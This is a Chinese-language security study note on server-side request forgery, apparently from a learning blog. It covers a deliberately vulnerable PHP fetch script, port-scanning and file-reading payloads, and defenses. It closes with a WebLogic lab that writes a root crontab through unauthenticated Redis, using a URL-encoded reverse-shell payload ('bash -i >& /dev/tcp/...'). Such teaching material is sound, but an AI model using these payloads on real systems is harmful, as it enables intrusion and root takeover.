【CyberSecurityLearning 64】SSRF
目录
SSRF
SSRF 概述及危害
*SSRF 概述
*SSRF 危害
SSRF 常见代码实现
SSRF 利用
*访问正常文件
*端口扫描(扫描内网机器的端口)
*读取系统本地文件
* 内网Web 应用指纹识别
*攻击内网应用
SSRF 漏洞的挖掘
SSRF 的防御
@ 限制协议
@ 限制IP
@ 限制端口
@ 过滤返回信息
@ 统一错误信息
实验:我们如何利用ssrf去攻击内网应用获得shell
Weblogic 从ssrf 到getshell
SSRF
SSRF 概述及危害
*SSRF 概述
互联网上的很多Web 应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web 应用可以获取图片、文件资源(下载或读取)。如百度识图等
用户可以从本地或者URL 的方式获取图片资源,交给百度识图处理。如果提交的是URL 地址,该应用就会通过URL 的方式获取图片资源。如果Web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web 安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名为Server-Side Request Forgery,简称SSRF。
SSRF(服务器端请求伪造)是一种攻击者发起的伪造由服务器端发出请求的一种攻击,也是常见的Web 安全漏洞(缺陷或者风险)之一。
CSRF是发生在客户端的漏洞,它属于跨站请求伪造,这个请求伪造就是强制客户发送一个攻击者的请求
SSRF是发生在服务器端的漏洞,是强制服务器发送一个攻击者的请求
*SSRF 危害
@ 端口扫描
@ 内网Web 应用指纹识别
@ 攻击内网Web 应用
@ 读取本地文件
SSRF 常见代码实现
在服务器端实现通过URL 从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP 语言和curl 扩展实现该功能。
通过phpinfo() 函数查看对curl 扩展的支持,现在大部分wamp 套件均支持curl 扩展
<?php
if (isset($_REQUEST['url']))
{$link = $_REQUEST['url'];$filename = './curled/'.time().'.txt';$curlobj = curl_init($link);$fp = fopen($filename,"w");curl_setopt($curlobj, CURLOPT_FILE, $fp);curl_setopt($curlobj, CURLOPT_HEADER, 0);curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);curl_exec($curlobj);curl_close($curlobj);fclose($fp);$fp = fopen($filename,"r");$result = fread($fp, filesize($filename)); fclose($fp);echo $result;
}else{echo "?url=[url]";
}
?>
将以上代码保存成文件[ssrf_curl.php]。该段代码实现了从服务器获取资源的基本功能,提交
[?url=http://www.baidu.com ]
页面就会载入百度首页的资源。
同时,获取的资源文件会保存在[./curled]中,并以发起请求时间的unix 时间戳命名。
SSRF 利用
*访问正常文件
访问正常文件,提交参数[?url=http://www.baidu.com/robots.txt]
*端口扫描(扫描内网机器的端口)
当访问未开放端口,脚本会显示空白或者报错,提交参数[?url=dict://127.0.0.1:1234]
当访问开放端口时,脚本会显示bannner 信息。
[?url=dict://127.0.0.1:80]
[?url=dict://127.0.0.1:3306]
dict://叫字典协议
用nmap进行扫描的时候是访问不到内网机器的,但是我们用ssrf就能访问内网,因为服务器就在内网,因为我们这个请求就是从服务器发出的
*读取系统本地文件
利用file协议可以任意读取本地系统文件,提交参数
[?url=file://c:\windows\system32\drivers\etc\hosts]
* 内网Web 应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本。
[?url=http://localhost/phpmyadmin/README]
*攻击内网应用
内网安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf 攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web 应用
仅仅通过get 方法可以攻击的Web 应用有很多,比如structs2 命令执行等。
Weblogic 从ssrf 到redis 未授权访问到getshell
redis 数据库
未授权访问 不需要用户名和密码就可以访问数据库,读写文件,root 权限
SSRF 漏洞的挖掘
对外发起网络请求的地方都可能存在SSRF 漏洞,列举图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源文件处理,编码处理,属性信息处理等。)
SSRF 的防御
@ 限制协议
仅允许http和https请求。
@ 限制IP
避免应用被用来获取内网数据,攻击内网。
@ 限制端口
限制请求的端口为http 常用的端口,例如80 443 8080 8090
@ 过滤返回信息
验证远程服务器对请求的响应是比较简单的方法。
@ 统一错误信息
避免用户可以根据错误信息来判断远端服务器的端口状态(比如只要出现错误,给用户看的就是404)
ssrf这个漏洞总结一下:
就是说如果web应用有可以从本地获取url,同时服务器会发送这个url
这种类似的功能,如果没有做一个比较好的限制,就会出现ssrf漏洞
实验:我们如何利用ssrf去攻击内网应用获得shell
Weblogic 从ssrf 到getshell
环境搭建:
https://vulhub.org/#/environments/weblogic/ssrf/
依赖于docker 技术
docker-compose up -d 启动两个docker 镜像
docker ps
docker exec -it 3963de188db5 "/bin/bash"
linux
crontab 计划任务
备份
访问weblogic
http://ip:7001
出现以下页面,搭建成功
漏洞存在地方:
[http://192.168.1.129:7001/uddiexplorer/]
这里我们使用Bp 抓一下包
我们发现当我们提交不同的url 页面的回显是不一样的。
当我提交以下两个不同的url,对其得到的回应,作比较
http://localhost
http://localhost:7001
确认存在SSRF漏洞
------------
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.1.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
DNT: 1
Connection: close
Referer: http://192.168.1.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=dsQKp3ZLK3XNjv9JqvJ16L1nN89QZ3DK7yDLGcDgSlFwGHF5FRJQ!899981451
Upgrade-Insecure-Requests: 1
operator=http://172.18.0.2:6379&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
-------------------------------
redis 数据库
未授权访问
在访问数据库是不需要提供用户名和密码
具有root权限
读写文件
语法
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.0.105.222/777 0>&1\n\n\n\n" 将bash弹到172.18.0.1的777端口
config set dir /etc/ 设置目录
config set dbfilename crontab
save
本机监听一下777端口:ncat -lvvp 777
读写计划任务文件crontab
进行URL编码
----
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.105.222%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
----
----
http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.105.222%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
----
读写计划任务文件crontab
反弹Shell 到指定地址
成功反弹,拿到root用户权限
【CyberSecurityLearning 64】SSRF相关推荐
- 【CyberSecurityLearning 10】扫描与爆破
目录 扫描技术 基础知识 @ 常见端口号 Nmap-扫描器之王 重要常用参数(区分大小写) 远程爆破软件:九头蛇(hydra-8.1-windows) [ˈhaɪdrə] 本地破解 本地暴力破解: ...
- 【CyberSecurityLearning 71】DC系列之DC-2渗透测试(WordPress)
目录 DC-2靶机渗透测试 一.实验环境 二.实验要求 三.渗透过程演示 flag1: flag2: flag3: flag4: final-flag: DC-2靶机渗透测试 一.实验环境 实验环境: ...
- 【CyberSecurityLearning 28】批处理与简单病毒
批处理案例 @echo off color 0a title 飞哥小程序v1.0 :menu cls echo ========================== echo 菜单 echo 1.修改 ...
- 【CyberSecurityLearning 27】扫描与密码爆破
目录 扫描技术 为什么学习这门课程 主机嗅探与端口扫描 基础知识 常见端口号 Nmap-扫描器之王 口令破解 概述 口令安全现状 破解方式 @ 暴力破解 @ 字典破解 windows口令暴力破解 - ...
- 【CyberSecurityLearning 16】单臂路由与DHCP中继+ ICMP协议+VTP
目录 一.单臂路由 单臂路由引入: 单臂路由实验演示: 单臂路由缺点: 二.ICMP协议 单臂路由练习实验:(★) 单臂路由缺点: 三.VTP(VLAN Trunking Protocol) VTP概 ...
- 【CyberSecurityLearning 13】简单抓包及 IP包头分析与 路由原理(一)
目录 一.简单抓包 二.静态路由 2.1 IP数据包格式(加强记忆★) 2.2 路由概述 2.3 路由表的形成 实验:实现全网互通 2.4 静态路由 2.5 默认路由 2.6 交换与路由对比 2 ...
- 【CyberSecurityLearning 11】OSI与TCP/IP协议簇以及Packet Tracer模拟器
目录 计算机网络参考模型 一.分层模型 1.1 分层思想 1.2 OSI七层模型 1.3 OSI七层模型---->TCP/IP五层协议簇 二.数据传输过程 2.1 数据的封装与解封装过程 O ...
- 【CyberSecurityLearning 附】域的复习+小综合实验(重要!)
域的复习 域的特点:集中管理 活动目录的特点:集中管理 域:Domain 域控制器:Domain Controller = DC 活动目录:Active Directory = AD 在域中,组策略的 ...
- 【CyberSecurityLearning 7】AD域
目录 1.Domain(域代表的是一种环境) 2.内网环境 3.域的特点: 4.域的组成: 5.域的部署: 6.活动目录 7.组策略GPO(group policy) 8.部署安装活动目录 9.PC加 ...
最新文章
- Oracle——redo+undo总结
- 多波次导弹发射中的规划问题(一) 网络图绘制及数据整理
- caffe源码分析:layer.hpp分析
- 【译】Economics of Fees and Gas
- MySQL高级 - 日志 - 错误日志
- ListView中让TextView中的文字进行单独滚动
- r 语言roc_R语言画ROC曲线总结
- eeg数据集_运动想象,情绪识别等公开数据集汇总
- 单指令多数据SIMD的SSE/AVX指令集和API
- Linux开发_控制shell光标
- Jenkins持久化集成使用
- java获取url后缀,以及判断是否带参数(?params=xxx)
- 用命令从FTP服务器下载文件
- div+css视频教程大全免费下载更有html5教程
- 运算放大器应用汇总1
- 卖家/消费者如何在淘宝申请人工客服
- Java中多态的表现形式
- C/C++基础题045.PUM
- 蓝桥杯- 算法训练-Beaver's Calculator
- CSS属性多个子容器时使用flex-shrink 计算比例
热门文章
- 解决:delphi7 license is invalid or has expired
- Flash常用快捷键大全 (hotkey)
- Miniconda3及pip换源(conda清华源关闭)
- Hadoop中Context类的作用
- NSNumber 以及NSInteger,NSNumber以及Int的区别
- GIS讲堂第二课-地图切片简介以及OL中的调用
- 文件上传到ubuntu -- WinSCP 登录ftp服务器
- POJ 2411 Mondriaan's Dream [经典状态压缩dp]
- 问题小结(6)-listview滚动条相关
- 面试题01(C++)